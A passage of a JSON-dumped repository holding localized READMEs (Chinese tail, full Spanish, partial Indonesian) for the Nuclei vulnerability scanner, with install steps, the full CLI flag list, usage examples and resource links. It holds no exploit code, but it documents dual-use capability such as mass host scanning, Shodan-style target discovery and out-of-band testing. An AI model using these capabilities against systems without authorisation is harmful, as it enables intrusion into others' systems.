FUZZ一切](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)\n- [Nuclei + Interactsh Integration，用于自动化OOB测试](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)\n- [武器化Nuclei](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) 作者：[@dwisiswant0](https://github.com/dwisiswant0)\n- [如何使用Nuclei连续扫描？](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) 作者：[@dwisiswant0](https://github.com/dwisiswant0)\n- [自动化攻击](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) 作者：[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)\n\n### 致谢\n\n感谢所有[社区贡献者提供的PR](https://github.com/projectdiscovery/nuclei/graphs/contributors)，并不断更新此项目:heart:\n\n如果你有想法或某种改进，欢迎你参与该项目，随时发送你的PR。\n\n<p align=\"center\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500\">\n</a>\n</p>\n\n另外您可以了解其他类似的开源项目：\n\n[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)\n\n### 许可证\n\nNuclei使用[MIT许可证](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)\n\n<h1 align=\"left\">\n  <a href=\"https://discord.gg/projectdiscovery\"><img src=\"static/Join-Discord.png\" width=\"380\" alt=\"Join Discord\"></a> <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/check-nuclei-documentation.png\" width=\"380\" alt=\"Check Nuclei Documentation\"></a>\n</h1>\n"
  },
  {
    "path": "README_ES.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/nuclei-logo.png\" width=\"200px\" alt=\"Nuclei\"></a>\n</h1>\n\n<h4 align=\"center\">Escáner de vulnerabilidades rápido y personalizable basado en un sencillo DSL basado en YAML.</h4>\n\n\n<p align=\"center\">\n<img src=\"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases\"><img src=\"https://img.shields.io/github/downloads/projectdiscovery/nuclei/total\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\"><img src=\"https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases/\"><img src=\"https://img.shields.io/github/release/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/issues\"><img src=\"https://img.shields.io/github/issues-raw/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/discussions\"><img src=\"https://img.shields.io/github/discussions/projectdiscovery/nuclei\">\n<a href=\"https://discord.gg/projectdiscovery\"><img src=\"https://img.shields.io/discord/695645237418131507.svg?logo=discord\"></a>\n<a href=\"https://twitter.com/pdnuclei\"><img src=\"https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter\"></a>\n</p>\n      \n<p align=\"center\">\n  <a href=\"#how-it-works\">Cómo funciona</a> •\n  <a href=\"#install-nuclei\">Instalación</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/\">Documentación</a> •\n  <a href=\"#credits\">Créditos</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/faq\">Preguntas Frecuentes</a> •\n  <a href=\"https://discord.gg/projectdiscovery\">Únete a Discord</a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">English</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">中文</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">Korean</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">Indonesia</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">Spanish</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">Portuguese</a>\n</p>\n\n---\n\nNuclei se utiliza para enviar peticiones a múltiples objetivos basándose en una plantilla, lo que resulta en cero falsos positivos y proporciona un escaneo rápido en un gran número de hosts. Nuclei ofrece escaneos para una variedad de protocolos, incluyendo TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, Code, etc. Con plantillas potentes y flexibles, Nuclei puede utilizarse para modelar todo tipo de comprobaciones de seguridad.\n\nTenemos un [repositorio dedicado](https://github.com/projectdiscovery/nuclei-templates) que alberga varios tipos de plantillas de vulnerabilidades, contribuidas por **más de 300** investigadores y ingenieros de seguridad.\n\n## Cómo funciona\n\n\n<h3 align=\"center\">\n  <img src=\"static/nuclei-flow.jpg\" alt=\"nuclei-flow\" width=\"700px\"></a>\n</h3>\n\n\n| :exclamation:  **Descargo de responsabilidad**  |\n|---------------------------------|\n| **Este proyecto está en desarrollo activo**. Es de esperar que se produzcan cambios importantes con las nuevas versiones. Consulte el registro de cambios de la versión antes de actualizar. |\n| Este proyecto fue principalmente desarrollado para ser utilizado como una herramienta CLI independiente. **Ejecutar nuclei como un servicio puede suponer riesgos de seguridad.** Se recomienda utilizarlo con precaución y tomar medidas de seguridad adicionales. |\n\n# Instalación de Nuclei\n\nNuclei requiere **go1.24.2** para instalarse correctamente. Ejecute el siguiente comando para instalar la última versión -\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\n<details>\n  <summary>Brew</summary>\n  \n  ```sh\n  brew install nuclei\n  ```\n  \n</details>\n<details>\n  <summary>Docker</summary>\n  \n  ```sh\n  docker pull projectdiscovery/nuclei:latest\n  ```\n  \n</details>\n\n**Más métodos de instalación [pueden encontrarse aquí](https://docs.projectdiscovery.io/tools/nuclei/install).**\n\n<table>\n<tr>\n<td>  \n\n### Plantillas de Nuclei\n\nNuclei cuenta con soporte incorporado para la descarga/actualización automática de plantillas desde la versión [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2) en adelante. El proyecto [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) proporciona una lista de plantillas listas para usar, aportadas por la comunidad, y que se actualizan constantemente.\n\nTambién puedes utilizar la bandera `update-templates` para actualizar las plantillas de Nuclei en cualquier momento; puedes escribir tus propias pruebas para tu flujo de trabajo y necesidades individuales siguiendo la [guía de plantillas](https://docs.projectdiscovery.io/templates/) de Nuclei.\n\nLa sintaxis de referencia YAML DSL está disponible [aquí](SYNTAX-REFERENCE.md).\n\n</td>\n</tr>\n</table>\n\n### Uso\n\n```sh\nnuclei -h\n```\n\nEsto mostrará ayuda sobre la herramienta. Aquí están todas las opciones que soporta.\n\n\n```console\nNuclei es un escáner de vulnerabilidades rápido y basado en plantillas\nque se centra en su amplia configurabilidad, extensibilidad y facilidad de uso.\n\nUsage:\n  ./nuclei [flags]\n\nFlags:\nTARGET:\n   -u, -target string[]          URLs/hosts a escanear\n   -l, -list string              ruta al archivo que contiene la lista de URLs/hosts a escanear (uno por línea)\n   -eh, -exclude-hosts string[]  hosts a excluir para escanear de la lista de entrada (ip, cidr, hostname)\n   -resume string                reanudar el escaneo desde y guardar en el archivo especificado (la clusterización quedará inhabilitada)\n   -sa, -scan-all-ips            escanear todas las IP asociadas al registro dns\n   -iv, -ip-version string[]     versión IP a escanear del nombre de host (4,6) - (por defecto 4)\n\nTARGET-FORMAT:\n   -im, -input-mode string        modo del archivo de entrada (list, burp, jsonl, yaml, openapi, swagger) (por defecto \"list\")\n   -ro, -required-only            utilizar solo campos requeridos en el formato de entrada al generar peticiones\n   -sfv, -skip-format-validation  saltar la validación de formato (como variables faltantes) al procesar el archivo de entrada\n\nTEMPLATES:\n   -nt, -new-templates                    ejecutar sólo las nuevas plantillas añadidas en la última versión de nuclei-templates\n   -ntv, -new-templates-version string[]  ejecutar las nuevas plantillas añadidas en la versión especificada\n   -as, -automatic-scan                   escaneo web automático utilizando la detección de tecnología de wappalyzer para mapeo de etiquetas\n   -t, -templates string[]                lista de plantillas o directorio de plantillas a ejecutar (separadas por comas, file)\n   -turl, -template-url string[]          url de plantilla o lista que contiene urls de plantillas a ejecutar (separadas por comas, file)\n   -w, -workflows string[]                lista de flujos de trabajo o directorio de flujos de trabajo a ejecutar (separadas por comas, file)\n   -wurl, -workflow-url string[]          url de flujo de trabajo o lista que contiene urls de flujo de trabajo para ejecutar (separadas por comas, file)\n   -validate                              valida las plantillas pasadas a nuclei\n   -nss, -no-strict-syntax                deshabilita la comprobación de sintaxis estricta en las plantillas\n   -td, -template-display                 muestra el contenido de las plantillas\n   -tl                                    lista todas las plantillas disponibles\n   -tgl                                   lista todas las etiquetas disponibles\n   -sign                                  firma las plantillas con la clave privada definida en la variable de entorno NUCLEI_SIGNATURE_PRIVATE_KEY\n   -code                                  habilita la carga de plantillas basadas en protocolos de código\n   -dut, -disable-unsigned-templates      deshabilita la ejecución de plantillas no firmadas o plantillas con firma no coincidente\n\nFILTERING:\n   -a, -author string[]               plantillas a ejecutar basadas en autores (separadas por comas, file)\n   -tags string[]                     plantillas a ejecutar basadas en etiquetas (separadas por comas, file)\n   -etags, -exclude-tags string[]     plantillas a excluir basadas en etiquetas (separadas por comas, file)\n   -itags, -include-tags string[]     etiquetas a ejecutar incluso si están excluidas ya sea por defecto o por configuración\n   -id, -template-id string[]         plantillas a ejecutar basadas en IDs de plantilla (comma-separated, file, allow-wildcard)\n   -eid, -exclude-id string[]         plantillas a excluir basadas en IDs de plantilla (separadas por comas, file)\n   -it, -include-templates string[]   ruta al archivo de plantilla o directorio a ejecutar incluso si están excluidas ya sea por defecto o por configuración\n   -et, -exclude-templates string[]   ruta al archivo de plantilla o directorio a excluir (separadas por comas, file)\n   -em, -exclude-matchers string[]    matchers de plantilla a excluir en el resultado\n   -s, -severity value[]              plantillas a ejecutar basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido\n   -es, -exclude-severity value[]     plantillas a excluir basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido\n   -pt, -type value[]                 plantillas a ejecutar basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -ept, -exclude-type value[]        plantillas a excluir basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -tc, -template-condition string[]  plantillas a ejecutar basadas en condición de expresión\n\nOUTPUT:\n   -o, -output string            archivo de salida donde guardar las incidencias/vulnerabilidades detectadas\n   -sresp, -store-resp           almacenar todas las peticiones/respuestas enviadas por nuclei en el directorio de salida\n   -srd, -store-resp-dir string  almacenar todas las peticiones/respuestas enviadas por nuclei en un directorio personalizado (por defecto \"output\")\n   -silent                       mostrar resultados únicamente\n   -nc, -no-color                deshabilitar la coloración del contenido de salida (códigos de escape ANSI)\n   -j, -jsonl                    escribir la salida en formato JSONL(ines)\n   -irr, -include-rr -omit-raw   incluir pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos) [OBSOLETO usar -omit-raw] (por defecto true)\n   -or, -omit-raw                omitir los pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos)\n   -ot, -omit-template           omitir plantilla codificada en la salida JSON, JSONL\n   -nm, -no-meta                 deshabilitar la impresión de metadatos de resultados en la salida cli\n   -ts, -timestamp               habilitar la impresión de la marca de tiempo en la salida cli\n   -rdb, -report-db string       base de datos de informes de nuclei (utilizarla siempre para persistir los datos de los informes)\n   -ms, -matcher-status          mostrar el estado de fallo de coincidencia\n   -me, -markdown-export string  directorio para exportar resultados en formato markdown\n   -se, -sarif-export string     archivo para exportar resultados en formato SARIF\n   -je, -json-export string      archivo para exportar resultados en formato JSON\n   -jle, -jsonl-export string    archivo para exportar resultados en formato JSONL(ines)\n\nCONFIGURATIONS:\n   -config string                        ruta al archivo de configuración de nuclei\n   -fr, -follow-redirects                habilitar el seguimiento de redirecciones para plantillas http\n   -fhr, -follow-host-redirects          seguir redirecciones en el mismo host\n   -mr, -max-redirects int               número máximo de redirecciones a seguir para plantillas http (por defecto 10)\n   -dr, -disable-redirects               deshabilitar redirecciones para plantillas http\n   -rc, -report-config string            archivo de configuración del módulo de informes de nuclei\n   -H, -header string[]                  encabezado/cookie personalizado a incluir en todas las peticiones http en formato header:value (cli, file)\n   -V, -var value                        variables personalizadas en formato key=value\n   -r, -resolvers string                 archivo que contiene lista de resolutores para nuclei\n   -sr, -system-resolvers                utilizar resolución de DNS del sistema como fallback de error\n   -dc, -disable-clustering              deshabilitar la clusterización de peticiones\n   -passive                              habilitar el modo de procesamiento pasivo de respuestas HTTP\n   -fh2, -force-http2                    forzar la conexión http2 en las peticiones\n   -ev, -env-vars                        habilitar el uso de variables de entorno en la plantilla\n   -cc, -client-cert string              archivo de certificado de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados\n   -ck, -client-key string               archivo de clave de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados\n   -ca, -client-ca string                archivo de autoridad de certificación de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados\n   -sml, -show-match-line                mostrar líneas de coincidencia para plantillas de archivo, funciona solo con extractores\n   -ztls                                 utilizar la biblioteca ztls con autofallback a estándar para tls13 [Obsoleto] autofallback a ztls está habilitado por defecto\n   -sni string                           nombre de host tls sni a usar (por defecto: nombre de dominio de entrada)\n   -dt, -dialer-timeout value            tiempo de espera para peticiones de red\n   -dka, -dialer-keep-alive value        duración de keep-alive para peticiones de red\n   -lfa, -allow-local-file-access        permite el acceso a archivos (carga útil) en cualquier lugar del sistema\n   -lna, -restrict-local-network-access  bloquea conexiones a la red local / privada\n   -i, -interface string                 interfaz de red a usar para el escaneo de red\n   -at, -attack-type string              tipo de combinaciones de carga útil a realizar (batteringram, pitchfork, clusterbomb)\n   -sip, -source-ip string               dirección ip de origen a usar para el escaneo de red\n   -rsr, -response-size-read int         tamaño máximo de respuesta a leer en bytes (por defecto 10485760)\n   -rss, -response-size-save int         tamaño máximo de respuesta a guardar en bytes (por defecto 1048576)\n   -reset                                reset elimina todos los archivos de configuración y datos de nuclei (incluidas las nuclei-templates)\n   -tlsi, -tls-impersonate               habilitar client hello (ja3) tls randomization experimental\n\nINTERACTSH:\n   -iserver, -interactsh-server string  url del servidor interactsh para instancia autoalojada (por defecto: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)\n   -itoken, -interactsh-token string    token de autenticación del servidor interactsh autoalojado\n   -interactions-cache-size int         número de peticiones a mantener en la caché de interacciones (por defecto 5000)\n   -interactions-eviction int           número de segundos a esperar antes de eliminar las solicitudes de la caché (por defecto 60)\n   -interactions-poll-duration int      número de segundos a esperar antes de cada solicitud de polling de interacciones (por defecto 5)\n   -interactions-cooldown-period int    tiempo adicional para el polling de interacciones antes de salir (por defecto 5)\n   -ni, -no-interactsh                  desactivar el servidor interactsh para pruebas OAST, excluir plantillas basadas en OAST\n\nFUZZING:\n   -ft, -fuzzing-type string  sobrescribe el tipo de fuzzing establecido en la plantilla (replace, prefix, postfix, infix)\n   -fm, -fuzzing-mode string  sobrescribe el modo de fuzzing establecido en la plantilla (multiple, single)\n   -fuzz                      habilita la carga de plantillas de fuzzing (Obsoleto: usar -dast en su lugar)\n   -dast                      solo ejecuta plantillas DAST\n\nUNCOVER:\n   -uc, -uncover                  habilita el motor uncover\n   -uq, -uncover-query string[]   consulta de búsqueda uncover\n   -ue, -uncover-engine string[]  motor de búsqueda uncover (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (por defecto shodan)\n   -uf, -uncover-field string     campos uncover a devolver (ip,port,host) (por defecto \"ip:port\")\n   -ul, -uncover-limit int        resultados uncover a devolver (por defecto 100)\n   -ur, -uncover-ratelimit int    sobrescribe el límite de velocidad de los motores con el límite de velocidad del motor uncover (por defecto 60 req/min) (por defecto 60)\n\nRATE-LIMIT:\n   -rl, -rate-limit int               número máximo de peticiones a enviar por segundo (por defecto 150)\n   -rlm, -rate-limit-minute int       número máximo de peticiones a enviar por minuto\n   -bs, -bulk-size int                número máximo de hosts a ser analizados en paralelo por plantilla (por defecto 25)\n   -c, -concurrency int               número máximo de plantillas a ejecutar en paralelo (por defecto 25)\n   -hbs, -headless-bulk-size int      número máximo de hosts headless a ser analizados en paralelo por plantilla (por defecto 10)\n   -headc, -headless-concurrency int  número máximo de plantillas headless a ejecutar en paralelo (por defecto 10)\n   -jsc, -js-concurrency int          número máximo de entornos de ejecución de JavaScript a ejecutar en paralelo (por defecto 120)\n   -pc, -payload-concurrency int      concurrencia máxima de carga útil para cada plantilla (por defecto 25)\n   -tlc, -template-loading-concurrency int  número máximo de operaciones de carga de plantillas concurrentes (por defecto 50)\n\nOPTIMIZATIONS:\n   -timeout int                     tiempo de espera en segundos (por defecto 10)\n   -retries int                     número de veces que se reintenta una petición fallida (por defecto 1)\n   -ldp, -leave-default-ports       dejar puertos HTTP/HTTPS predeterminados (por ejemplo, host:80,host:443)\n   -mhe, -max-host-error int        errores máximos para un host antes de omitirlo del escaneo (por defecto 30)\n   -te, -track-error string[]       agrega el error dado a la lista de seguimiento de errores máximos por host (standard, file)\n   -nmhe, -no-mhe                   deshabilita la omisión del host del escaneo basado en errores\n   -project                         utiliza una carpeta de proyecto para evitar enviar la misma petición varias veces\n   -project-path string             establece una ruta de proyecto específica (por defecto \"/tmp\")\n   -spm, -stop-at-first-match       detiene el procesamiento de las peticiones HTTP después de la primera coincidencia (puede romper la lógica de la plantilla/flujo de trabajo)\n   -stream                          modo transmisión - comienza a trabajar sin ordenar la entrada\n   -ss, -scan-strategy value        estrategia a utilizar mientras se escanea (auto/host-spray/template-spray) (por defecto auto)\n   -irt, -input-read-timeout value  tiempo de espera en la lectura de entrada (por defecto 3m0s)\n   -nh, -no-httpx                   deshabilita análisis httpx para entradas que no son URL\n   -no-stdin                        deshabilita el procesamiento de la entrada estándar\n\nHEADLESS:\n   -headless                        habilita las plantillas que requieren soporte de navegadores sin interfaz gráfica (headless browser) (el usuario root en Linux deshabilitará el sandbox)\n   -page-timeout int                segundos para esperar cada página en modo sin interfaz (por defecto 20)\n   -sb, -show-browser               muestra el navegador en la pantalla al ejecutar plantillas con modo sin interfaz\n   -ho, -headless-options string[]  inicia Chrome en modo sin interfaz con opciones adicionales\n   -sc, -system-chrome              utiliza el navegador Chrome instalado localmente en lugar del instalado por nuclei\n   -cdpe, -cdp-endpoint string      usar navegador remoto a través del endpoint del Protocolo de Herramientas de Desarrollador de Chrome (CDP)\n   -lha, -list-headless-action      lista de acciones sin interfaz disponibles\n\nDEBUG:\n   -debug                    muestra todas las peticiones y respuestas\n   -dreq, -debug-req         muestra todas las peticiones enviadas\n   -dresp, -debug-resp       muestra todas las respuestas recibidas\n   -p, -proxy string[]       lista de proxies http/socks5 a utilizar (separados por comas o archivo de entrada)\n   -pi, -proxy-internal      proxy para todas las peticiones internas\n   -ldf, -list-dsl-function  lista todas las firmas de función DSL admitidas\n   -tlog, -trace-log string  archivo a escribir el registro de traza de peticiones enviadas\n   -elog, -error-log string  archivo a escribir el registro de error de peticiones enviadas\n   -version                  muestra la versión de nuclei\n   -hm, -hang-monitor        habilita la monitorización de bloqueos de nuclei\n   -v, -verbose              muestra salida detallada\n   -profile-mem string       archivo opcional de volcado de memoria de nuclei\n   -vv                       muestra las plantillas cargadas para el escaneo\n   -svd, -show-var-dump      muestra el volcado de variables para depuración\n   -ep, -enable-pprof        habilita el servidor de depuración pprof\n   -tv, -templates-version   muestra la versión de las plantillas nuclei (nuclei-templates) instaladas\n   -hc, -health-check        ejecuta comprobación de diagnóstico\n\nUPDATE:\n   -up, -update                      actualiza el motor de nuclei a la última versión lanzada\n   -ut, -update-templates            actualiza nuclei-templates a la última versión lanzada\n   -ud, -update-template-dir string  directorio personalizado para instalar/actualizar nuclei-templates\n   -duc, -disable-update-check       deshabilita la comprobación automática de actualizaciones de nuclei/templates\n\nSTATISTICS:\n   -stats                    muestra estadísticas sobre el escaneo en ejecución\n   -sj, -stats-json          muestra estadísticas en formato JSONL(ines)\n   -si, -stats-interval int  número de segundos a esperar entre mostrar una actualización de estadísticas (por defecto 5)\n   -mp, -metrics-port int    puerto para exponer métricas de nuclei (por defecto 9092)\n\nCLOUD:\n   -auth                  configura la clave de API del cloud de projectdiscovery (pdcp)\n   -cup, -cloud-upload    sube los resultados del escaneo al dashboard de pdcp\n   -sid, -scan-id string  sube los resultados del escaneo al ID de escaneo dado\n\nAUTHENTICATION:\n   -sf, -secret-file string[]  ruta al archivo de configuración que contiene los secrets para el escaneo autenticado de nuclei\n   -ps, -prefetch-secrets      precarga los secrets del archivo de secrets\n\n\nEXAMPLES:\nEjecutar nuclei en un solo host:\n   $ nuclei -target example.com\n\nEjecutar nuclei con directorios de plantillas específicos:\n   $ nuclei -target example.com -t http/cves/ -t ssl\n\nEjecutar nuclei contra una lista de hosts:\n   $ nuclei -list hosts.txt\n\nEjecutar nuclei con una salida JSON:\n   $ nuclei -target example.com -json-export output.json\n\nEjecutar nuclei con salidas Markdown ordenadas (con variables de entorno):\n   $ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/\n\nDocumentación adicional disponible en: https://docs.projectdiscovery.io/getting-started/running\n```\n\n### Ejecutando Nuclei\n\nConsulta https://docs.projectdiscovery.io/tools/nuclei/running para obtener detalles sobre cómo ejecutar Nuclei.\n\n### Uso de Nuclei desde código Go\n\nLa guía completa sobre cómo usar Nuclei como biblioteca/SDK está disponible en [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme).\n\n\n### Recursos\n\nPuedes acceder a la documentación principal de Nuclei en https://docs.projectdiscovery.io/tools/nuclei/, y obtener más información sobre Nuclei en la nube con [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io).\n\n¡Consulta https://docs.projectdiscovery.io/tools/nuclei/resources para obtener más recursos y videos sobre Nuclei!\n\n### Créditos\n\nGracias a todos los increíbles [contribuyentes de la comunidad que enviaron PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) y mantienen este proyecto actualizado. :heart:\n\nSi tienes una idea o algún tipo de mejora, eres bienvenido a contribuir y participar en el Proyecto, siéntete libre de enviar tu PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500\">\n</a>\n</p>\n\n\nTambién echa un vistazo a los siguientes proyectos de código abierto similares que pueden adaptarse a tu flujo de trabajo:\n\n[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)\n\n### Licencia\n\nNuclei se distribuye bajo la [Licencia MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)\n\n<h1 align=\"left\">\n  <a href=\"https://discord.gg/projectdiscovery\"><img src=\"static/Join-Discord.png\" width=\"380\" alt=\"Join Discord\"></a> <a href=\"https://docs.projectdiscovery.io\"><img src=\"static/check-nuclei-documentation.png\" width=\"380\" alt=\"Check Nuclei Documentation\"></a>\n</h1>\n"
  },
  {
    "path": "README_ID.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/nuclei-logo.png\" width=\"200px\" alt=\"Nuclei\"></a>\n</h1>\n\n<h4 align=\"center\">Pemindai kerentanan yang cepat dan dapat disesuaikan berdasarkan DSL berbasis YAML sederhana.</h4>\n\n\n<p align=\"center\">\n<img src=\"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases\"><img src=\"https://img.shields.io/github/downloads/projectdiscovery/nuclei/total\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\"><img src=\"https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases/\"><img src=\"https://img.shields.io/github/release/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/issues\"><img src=\"https://img.shields.io/github/issues-raw/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/discussions\"><img src=\"https://img.shields.io/github/discussions/projectdiscovery/nuclei\">\n<a href=\"https://discord.gg/projectdiscovery\"><img src=\"https://img.shields.io/discord/695645237418131507.svg?logo=discord\"></a>\n<a href=\"https://twitter.com/pdnuclei\"><img src=\"https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter\"></a>\n</p>\n      \n<p align=\"center\">\n  <a href=\"#cara-kerja\">Cara Kerja</a> •\n  <a href=\"#instalasi-nuclei\">Instalasi</a> •\n  <a href=\"#untuk-insinyur-keamanan\">Untuk Teknisi Keamanan</a> •\n  <a href=\"#untuk-pengembang-dan-organisasi\">Untuk Pengembang</a> •\n  <a href=\"https://nuclei.projectdiscovery.io/nuclei/get-started/\">Dokumentasi</a> •\n  <a href=\"#kredit\">Kredit</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/faq\">Tanya Jawab</a> •\n  <a href=\"https://discord.gg/projectdiscovery\">Gabung Discord</a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">English</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">中文</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">Korean</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">Indonesia</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">Spanish</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">Portuguese</a>\n</p>\n\n---\n\nNuclei digunakan untuk mengirim permintaan lintas target berdasarkan templat, yang menghasilkan nol positif palsu dan menyediakan pemindaian yang cepat pada banyak host. Nuclei menawarkan pemindaian untuk berbagai protokol, termasuk TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, dll. Dengan templating yang kuat dan fleksibel, Nuclei dapat digunakan untuk memodelkan semua jenis pemeriksaan keamanan.\n\nKami memiliki [repositori khusus](https://github.com/projectdiscovery/nuclei-templates) yang menampung berbagai jenis templat kerentanan yang disumbangkan oleh **lebih dari 300** peneliti dan teknisi keamanan.\n\n\n## Cara Kerja\n\n\n<h3 align=\"center\">\n  <img src=\"static/nuclei-flow.jpg\" alt=\"nuclei-flow\" width=\"700px\"></a>\n</h3>\n\n\n# Instalasi Nuclei\n\nNuclei membutuhkan **go1.24.2** agar dapat diinstall. Jalankan perintah berikut untuk menginstal versi terbaru -\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\n**Metode [instalasi lain dapat ditemukan di sini](https://nuclei.projectdiscovery.io/nuclei/get-started/).**\n\n<table>\n<tr>\n<td>  \n\n### Nuclei Templates\n\nNuclei memiliki dukungan untuk unduhan/pembaruan templat otomatis sebagai bawaan sejak versi [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). Proyek [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) menyediakan daftar template siap pakai yang dibuat oleh komunitas yang terus diperbarui.\n\nAnda dapat menggunakan flag `-update-templates` untuk memperbarui templat inti kapan saja; Anda juga dapat menulis pemeriksaan Anda sendiri untuk alur kerja individu dan untuk kebutuhan Anda sendiri dengan mengikuti [panduan pembuatan templat Nuclei](https://nuclei.projectdiscovery.io/templating-guide/).\n\nUntuk referensi penulisan sintaks DSL berbasis YAML tersedia [di sini](SYNTAX-REFERENCE.md).\n\n</td>\n</tr>\n</table>\n\n### Cara Pakai\n\n```sh\nnuclei -h\n```\n\nIni akan menampilkan bantuan untuk alat tersebut. Berikut adalah semua flag yang didukungnya.\n\n\n```console\nNuclei is a fast, template based vulnerability scanner focusing\non extensive configurability, massive extensibility and ease of use.\n\nUsage:\n  ./nuclei [flags]\n\nFlags:\nTARGET:\n   -u, -target string[]       target URLs/hosts to scan\n   -l, -list string           path to file containing a list of target URLs/hosts to scan (one per line)\n   -resume string             resume scan from and save to specified file (clustering will be disabled)\n   -sa, -scan-all-ips         scan all the IP's associated with dns record\n   -iv, -ip-version string[]  IP version to scan of hostname (4,6) - (default 4)\n\nTEMPLATES:\n   -nt, -new-templates                    run only new templates added in latest nuclei-templates release\n   -ntv, -new-templates-version string[]  run new templates added in specific version\n   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping\n   -t, -templates string[]                list of template or template directory to run (comma-separated, file)\n   -turl, -template-url string[]          template url or list containing template urls to run (comma-separated, file)\n   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)\n   -wurl, -workflow-url string[]          workflow url or list containing 